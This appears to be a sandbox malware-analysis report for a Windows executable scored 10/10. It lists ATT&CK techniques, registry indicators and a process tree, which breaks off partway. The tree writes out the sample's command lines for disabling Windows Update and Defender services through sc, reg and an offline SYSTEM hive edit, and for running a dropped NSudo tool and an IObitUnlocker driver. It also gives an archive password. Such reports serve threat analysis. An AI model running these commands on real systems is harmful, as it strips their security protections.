7e75ce8b57dd045594e33ba2bfbd5a0482c07e477f98bcc644ab73db93c1c18b

Analysis

max time kernel
98s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2025, 09:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c5e66258e1c3ef27885b0a78c7e93b46.exe
Size 2.1MB
Sample250809-lmf45svsbs
SHA256 7e75ce8b57dd045594e33ba2bfbd5a0482c07e477f98bcc644ab73db93c1c18b
MD5 c5e66258e1c3ef27885b0a78c7e93b46
SHA1 75c81d5f4b5f2b8b0e386f33702be84de6ac5402
SHA512 f84218906176ba0818d42a7c28e60e59861220ba9de322171dc3e12e5aa19762f5ec1e3d5accc3f13f60f7eac72e12552898204d28147056274850374d0b8cf4
SSDEEP 49152:IBJ/Tpc8iYMtdAH8WCRzsPHOlIsUKoeFZKXlV:yNTFMHSJzPHOlFUK9Fc7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation	c5e66258e1c3ef27885b0a78c7e93b46.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation	game.exe

Executes dropped EXE 14 IoCs

pid	Process
5800	nircmd.exe
5288	NSudoLG.exe
4332	7z.exe
1308	game.exe
5572	game.exe
3008	game.exe
5160	IObitUnlocker.exe
5696	IObitUnlocker.exe
5744	IObitUnlocker.exe
5640	IObitUnlocker.exe
4716	IObitUnlocker.exe
4784	IObitUnlocker.exe
428	IObitUnlocker.exe
804	IObitUnlocker.exe

Loads dropped DLL 8 IoCs

pid	Process
5160	IObitUnlocker.exe
5696	IObitUnlocker.exe
5744	IObitUnlocker.exe
5640	IObitUnlocker.exe
4716	IObitUnlocker.exe
4784	IObitUnlocker.exe
428	IObitUnlocker.exe
804	IObitUnlocker.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4640	tasklist.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5764	sc.exe
3452	sc.exe
2148	sc.exe
4736	sc.exe
5244	sc.exe
4304	sc.exe
5944	sc.exe
836	sc.exe
4080	sc.exe
3808	sc.exe
5952	sc.exe
1256	sc.exe
5476	sc.exe
4944	sc.exe
2564	sc.exe
3380	sc.exe
4188	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 62 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5e66258e1c3ef27885b0a78c7e93b46.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4272	taskkill.exe
4964	taskkill.exe
112	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5328	reg.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
5288	NSudoLG.exe
5288	NSudoLG.exe
5160	IObitUnlocker.exe
5160	IObitUnlocker.exe
5160	IObitUnlocker.exe
5160	IObitUnlocker.exe
5696	IObitUnlocker.exe
5696	IObitUnlocker.exe
5696	IObitUnlocker.exe
5696	IObitUnlocker.exe
5744	IObitUnlocker.exe
5744	IObitUnlocker.exe
5744	IObitUnlocker.exe
5744	IObitUnlocker.exe
5640	IObitUnlocker.exe
5640	IObitUnlocker.exe
5640	IObitUnlocker.exe
5640	IObitUnlocker.exe
4716	IObitUnlocker.exe
4716	IObitUnlocker.exe
4716	IObitUnlocker.exe
4716	IObitUnlocker.exe
4784	IObitUnlocker.exe
4784	IObitUnlocker.exe
4784	IObitUnlocker.exe
4784	IObitUnlocker.exe
428	IObitUnlocker.exe
428	IObitUnlocker.exe
428	IObitUnlocker.exe
428	IObitUnlocker.exe
804	IObitUnlocker.exe
804	IObitUnlocker.exe
804	IObitUnlocker.exe
804	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 14 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	5288	NSudoLG.exe
Token: SeDebugPrivilege	4640	tasklist.exe
Token: SeRestorePrivilege	4332	7z.exe
Token: 35	4332	7z.exe
Token: SeSecurityPrivilege	4332	7z.exe
Token: SeSecurityPrivilege	4332	7z.exe
Token: SeDebugPrivilege	4272	taskkill.exe
Token: SeRestorePrivilege	1696	reg.exe
Token: SeRestorePrivilege	4128	reg.exe
Token: SeLoadDriverPrivilege	5572	game.exe
Token: SeDebugPrivilege	4964	taskkill.exe
Token: SeLoadDriverPrivilege	3008	game.exe
Token: SeDebugPrivilege	112	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
5160	IObitUnlocker.exe
5696	IObitUnlocker.exe
5744	IObitUnlocker.exe
5640	IObitUnlocker.exe
4716	IObitUnlocker.exe
4784	IObitUnlocker.exe
428	IObitUnlocker.exe
804	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 5932	3116	c5e66258e1c3ef27885b0a78c7e93b46.exe	85
PID 3116 wrote to memory of 5932	3116	c5e66258e1c3ef27885b0a78c7e93b46.exe	85
PID 3116 wrote to memory of 5932	3116	c5e66258e1c3ef27885b0a78c7e93b46.exe	85
PID 5932 wrote to memory of 5800	5932	cmd.exe	88
PID 5932 wrote to memory of 5800	5932	cmd.exe	88
PID 5932 wrote to memory of 3284	5932	cmd.exe	89
PID 5932 wrote to memory of 3284	5932	cmd.exe	89
PID 5932 wrote to memory of 3284	5932	cmd.exe	89
PID 5932 wrote to memory of 5444	5932	cmd.exe	90
PID 5932 wrote to memory of 5444	5932	cmd.exe	90
PID 5932 wrote to memory of 5444	5932	cmd.exe	90
PID 5932 wrote to memory of 5848	5932	cmd.exe	91
PID 5932 wrote to memory of 5848	5932	cmd.exe	91
PID 5932 wrote to memory of 5848	5932	cmd.exe	91
PID 5932 wrote to memory of 5288	5932	cmd.exe	92
PID 5932 wrote to memory of 5288	5932	cmd.exe	92
PID 5932 wrote to memory of 4776	5932	cmd.exe	98
PID 5932 wrote to memory of 4776	5932	cmd.exe	98
PID 5932 wrote to memory of 4776	5932	cmd.exe	98
PID 5932 wrote to memory of 4532	5932	cmd.exe	99
PID 5932 wrote to memory of 4532	5932	cmd.exe	99
PID 5932 wrote to memory of 4532	5932	cmd.exe	99
PID 5932 wrote to memory of 4512	5932	cmd.exe	100
PID 5932 wrote to memory of 4512	5932	cmd.exe	100
PID 5932 wrote to memory of 4512	5932	cmd.exe	100
PID 5932 wrote to memory of 4492	5932	cmd.exe	101
PID 5932 wrote to memory of 4492	5932	cmd.exe	101
PID 5932 wrote to memory of 4492	5932	cmd.exe	101
PID 5932 wrote to memory of 4560	5932	cmd.exe	102
PID 5932 wrote to memory of 4560	5932	cmd.exe	102
PID 5932 wrote to memory of 4560	5932	cmd.exe	102
PID 4560 wrote to memory of 4640	4560	cmd.exe	103
PID 4560 wrote to memory of 4640	4560	cmd.exe	103
PID 4560 wrote to memory of 4640	4560	cmd.exe	103
PID 5932 wrote to memory of 4676	5932	cmd.exe	104
PID 5932 wrote to memory of 4676	5932	cmd.exe	104
PID 5932 wrote to memory of 4676	5932	cmd.exe	104
PID 5932 wrote to memory of 4656	5932	cmd.exe	105
PID 5932 wrote to memory of 4656	5932	cmd.exe	105
PID 5932 wrote to memory of 4656	5932	cmd.exe	105
PID 5932 wrote to memory of 4684	5932	cmd.exe	106
PID 5932 wrote to memory of 4684	5932	cmd.exe	106
PID 5932 wrote to memory of 4684	5932	cmd.exe	106
PID 5932 wrote to memory of 4820	5932	cmd.exe	107
PID 5932 wrote to memory of 4820	5932	cmd.exe	107
PID 5932 wrote to memory of 4820	5932	cmd.exe	107
PID 5932 wrote to memory of 4672	5932	cmd.exe	108
PID 5932 wrote to memory of 4672	5932	cmd.exe	108
PID 5932 wrote to memory of 4672	5932	cmd.exe	108
PID 5932 wrote to memory of 4704	5932	cmd.exe	109
PID 5932 wrote to memory of 4704	5932	cmd.exe	109
PID 5932 wrote to memory of 4704	5932	cmd.exe	109
PID 5932 wrote to memory of 4584	5932	cmd.exe	110
PID 5932 wrote to memory of 4584	5932	cmd.exe	110
PID 5932 wrote to memory of 4584	5932	cmd.exe	110
PID 5932 wrote to memory of 4480	5932	cmd.exe	111
PID 5932 wrote to memory of 4480	5932	cmd.exe	111
PID 5932 wrote to memory of 4480	5932	cmd.exe	111
PID 5932 wrote to memory of 5196	5932	cmd.exe	112
PID 5932 wrote to memory of 5196	5932	cmd.exe	112
PID 5932 wrote to memory of 5196	5932	cmd.exe	112
PID 5932 wrote to memory of 512	5932	cmd.exe	113
PID 5932 wrote to memory of 512	5932	cmd.exe	113
PID 5932 wrote to memory of 512	5932	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\c5e66258e1c3ef27885b0a78c7e93b46.exe
"C:\Users\Admin\AppData\Local\Temp\c5e66258e1c3ef27885b0a78c7e93b46.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cjEkVMW.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5932
- - C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:5800
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3284
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5444
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:5848
- - C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\cjEkVMW.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5288
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4532
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4512
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4640
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4676
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4656
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4684
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4672
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4704
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4584
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4480
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5196
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:512
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5384
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2296
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1732
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4868
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4968
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4812
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4808
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4984
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5004
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5328
- - C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
    7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game.exe /CurrentDiskSize
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1308
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:4772
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5764
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1308"
      4⤵
      PID:5176
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1308"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3452
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2148
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3380
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4736
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5244
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3808
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4188
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4304
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:836
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2644
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3208
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2796
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4348
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3132
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4128
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game /delwd
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5572
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:4900
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5952
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:1848
    - - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:4080
    - - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:1256
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5572"
      4⤵
      PID:2004
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "5572"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4964
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game /DelWD
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3008
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:3532
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5476
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
